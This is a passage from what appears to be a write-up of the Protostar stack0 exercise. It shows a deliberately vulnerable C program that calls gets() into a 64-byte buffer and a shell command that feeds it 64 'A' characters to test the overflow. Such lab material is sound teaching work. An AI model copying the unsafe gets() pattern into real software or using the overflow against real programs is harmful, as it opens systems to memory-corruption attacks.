Posts List

Protostar stack0-7 write-up

Stack0 In Stack0 we need to exploit the following program: #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } Since modified variable is between saved EBP and buffer any character overflowing buffer will change modified: user@protostar:~$ echo `python -c 'print("A"*64)'` | /opt/protostar/bin/stack0 Try again?